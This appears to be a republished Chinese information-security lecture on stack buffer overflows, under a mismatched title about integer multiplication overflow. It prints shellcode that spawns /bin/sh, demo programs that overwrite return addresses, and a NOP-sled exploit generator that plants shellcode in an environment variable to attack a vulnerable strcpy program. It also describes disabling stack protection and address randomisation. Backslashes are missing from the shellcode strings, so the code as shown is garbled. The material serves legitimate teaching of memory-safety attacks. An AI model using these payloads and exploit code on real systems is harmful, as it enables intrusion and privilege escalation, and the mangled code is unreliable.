判断unsigned long long乘法溢出_信息安全课程17:缓冲区溢出2
在之前所講述的內容中,都是我們在自己的程序中自行修改的;正常情況下,沒有程序員會在自己的代碼中這樣寫——那有沒有辦法攻擊別人正常的程序呢?攻擊者怎么樣能夠影響到不是自己的程序的返回地址呢?以及怎么樣通過攻擊別人的代碼來獲得shell呢?并且最好是root shell呢?
為了理解一下這個問題的難度,我們來歸納一下在之前獲得shell的例子中,我們利用了哪些條件。首先,我們在程序中,寫了一段調用生成shell的代碼,這段代碼直接和主程序一起被編譯生成了可執(zhí)行代碼;其次,我們能夠容易地獲得函數(shù)調用中的返回地址,因為可以直接操作變量。
如果要攻擊他人的程序,首先,需要有一段生成shell的可執(zhí)行代碼;其次,需要能夠找到一個返回地址。
第一個問題,答案是shellcode。
第二個問題,答案是緩沖區(qū)溢出。
什么是shellcode呢?就是能夠生成shell的code。就不細講如何生成shellcode了。
先直接來看一些shellcode的例子。
以下代碼在32系統(tǒng)運行。
char shellcode[] ="xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00""x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80""xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff""xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";void hello(){printf("hello.n");exit(0); }void main(int argc, char **p) {int *ret;ret = (int *)&ret + 2;(*ret) = (int)shellcode; }值得注意的是,此時的shellcode是一段字符串,而且沒有被聲明為const,也即是可變的。這樣的變量一般在分配時,相應的內存處會有不可執(zhí)行保護。在編譯時需要加上參數(shù),取消棧保護。
以下代碼在64位系統(tǒng)運行。
char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";void main(int argc, char **p) {unsigned long *ret;ret = (unsigned long *)&ret + 3;(*ret) = (unsigned long)shellcode;}通過以上例子,可以看出shellcode的作用,就是一段可執(zhí)行的代碼。當返回地址指向shellcode的首地址的時候,shellcode獲得執(zhí)行。
https://www.zhihu.com/video/1102522760315613184同時,我們對以下代碼進行比較。
char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";void main(int argc, char **p) {unsigned long *ret;ret = (unsigned long *)&ret + 1 ;(*ret) = (unsigned long)shellcode;}這段代碼的執(zhí)行結果是
想一想,為什么?
再看一下,這段代碼在32位系統(tǒng):
void main(int argc, char **p) {int *ret;char shellcode[] ="xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00""x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80""xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff""xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";ret = (int *)&ret + 21;(*ret) = (int)shellcode; }運行結果如下:
https://www.zhihu.com/video/1102520181166817280思考一下是什么原因呢?
在64位系統(tǒng)上,結果也類似。為了防御緩沖區(qū)溢出攻擊,編譯器進行了canary和防止棧運行等防御。
明確shellcode的功能之后,攻擊者現(xiàn)在需要做的事情,就是將shellcode置于內存的某處,然后將返回地址指向shellcode。這一步驟,主要是通過緩沖區(qū)溢出實現(xiàn)的。
首先看下面一段代碼。
void function(char *str){char buffer[16];strcpy(buffer,str); }void main(){char large_string[256];int i;for(i=0;i<255;i++)large_string[i]='A';function(large_string); }這段程序中就存在 Buffer Overflow 的問題。之所以叫做緩沖區(qū)溢出,是因為function中的字符數(shù)組長度僅為16,而傳遞給 function 的字符串長度要比 buffer 大很多。并且function 沒有經(jīng)過任何長度校驗,直接用 strcpy 將長字符串拷入 buffer。strcpy并不進行長度檢查。在之前的分析中,我們知道字符串存儲時是從低地址向高地址增長,因此超出buffer[16]的字符串會持續(xù)向上覆蓋,也即溢出。結果是 buffer 后面的 250 字節(jié)的內容也被覆蓋掉了,這其中自然也包括 前一個ebp(rbp)、 ret 地址 、large_string 地址。所以此時 function的返回地址變成了 0x41414141h,所以當function函數(shù)執(zhí)行結束返回時,它將返回到 0x41414141h 地址處繼續(xù)執(zhí)行,但由于這個地址并不在程序實際使用的虛存空間范圍內,所以系統(tǒng)會報 Segmentation Violation。
之前講過,因為overflow漏洞影響深遠,所以操作系統(tǒng)和編譯器中都對它進行了防范。在這個例子中可以看到,如果編譯的時候沒有取消棧保護,那么會被檢測出來試圖進行攻擊。這個保護的原理是什么,我們過會兒再看,現(xiàn)在先來看看如果利用緩沖區(qū)溢出,來獲得一個shell。
看這一份代碼。【以下代碼在64位系統(tǒng)上運行失敗;在32位系統(tǒng)沒問題。】
char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";char large_string[256];void main() {char buffer[96];int i;unsigned long *long_ptr = (unsigned long *) large_string;for (i = 0; i < 32; i++)*(long_ptr + i) = (unsigned long) buffer; //使用buffer首地址填充large_string;等待覆蓋return address;這樣,返回地址變?yōu)閎uffer首地址;下一個for循環(huán),使得shellcode在strcpy的起始;使用strcpy,保證buffer首地址就是shellode的起始for (i = 0; i < strlen(shellcode); i++)large_string[i] = shellcode[i];strcpy(buffer,large_string); }https://www.zhihu.com/video/1102531298475761664類似的代碼在64位系統(tǒng)上:
https://www.zhihu.com/video/1102540775484735488在64位系統(tǒng)上失敗的原因:從large_string到buffer的拷貝不成功。導致返回地址的值沒有被修改。獲得shell失敗。
到目前為止,所有的攻擊還是在同一份代碼中發(fā)生的。
如果想對別人發(fā)起攻擊,應該如何操作?
我們看一段簡單的代碼:
void main (int argc,char *argv[]) {char buffer[512];if (argc > 1)strcpy(buffer,argv[1]); }攻擊思路是傳入一段代碼,并且還要讓main的返回地址指向我們傳入的代碼。因為傳入的代碼只能在buffer中,所以我們要能知道buffer的首地址是多少。在之前的例子中,我們將buffer的首地址復制了很多份放在large_string中,這里因為buffer是在別人的代碼中,也不能直接操作,所以只好靠猜——然后將這個地址再拷貝很多次。
大概十年之前,對于所有程序來說堆棧的起始地址是一 樣的,而且在拷貝 ShellCode 之前,堆棧中已經(jīng)存在的棧幀一般來說并不多,長度 大致在一兩百到幾千字節(jié)的范圍內。因此,我們可以通過猜測加試驗的辦法最終 找到 ShellCode 的入口地址。
現(xiàn)在,為了防御這種方式,加了棧起始地址隨機化。如果沒有關掉棧起始地址隨機化保護,不同次運行同一個程序時,棧的起始位置都不一樣。
unsigned long get_sp(void) {__asm__("movl %esp,%eax"); } void main() {printf("0x%xn", get_sp()); }所以,猜測更加困難了。
這里為了演示,我們得把操作系統(tǒng)的棧起始地址隨機化保護給關掉。
關掉之后,
有一個方法是將 ShellCode 放在 large_string 的中部,而前面則一律填充為 NOP 指令(NOP 指令是一個任何事都不做的指令,主要用于延時操作,幾 乎所有 CPU 都支持 NOP 指令)。這樣,只要我們猜的地址落在這個 NOP 指令串中, 那么程序就會一直執(zhí)行直至執(zhí)行到 ShellCode(如下圖)。這樣一來,我們猜中的概率就大多了(以前必須要猜中 ShellCode 的入口地址,現(xiàn)在只要猜中 NOP 指令串中的任何一個地址即可)。
#include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh";unsigned long get_sp(void) {__asm__("movl %esp,%eax"); }void main(int argc, char *argv[]) {char *buff, *ptr;long *addr_ptr, addr;int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;int i;if (argc > 1) bsize = atoi(argv[1]);if (argc > 2) offset = atoi(argv[2]);if (!(buff = malloc(bsize))) {printf("Can't allocate memory.n");exit(0);} printf("0x%xn",get_sp());addr = get_sp() - offset;printf("Using address: 0x%xn", addr);ptr = buff; // addr = "bfffef90"; addr_ptr = (long *) ptr;for (i = 0; i < bsize; i+=4)*(addr_ptr++) = addr;for (i = 0; i < bsize/2; i++)buff[i] = NOP;ptr = buff + ((bsize/2) - (strlen(shellcode)/2));for (i = 0; i < strlen(shellcode); i++)*(ptr++) = shellcode[i];buff[bsize - 1] = '0';//memcpy(buff,"EGG=",4);//putenv(buff);setenv("EGG",buff,1);system("/bin/bash"); }運行結果如下【32位系統(tǒng)】:
https://www.zhihu.com/video/1102567120042352640總結
以上是生活随笔為你收集整理的判断unsigned long long乘法溢出_信息安全课程17:缓冲区溢出2的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 简单工程验收单表格_中铁超大型工程项目-
- 下一篇: 电脑机箱风扇安装(电脑机箱风扇安装方法)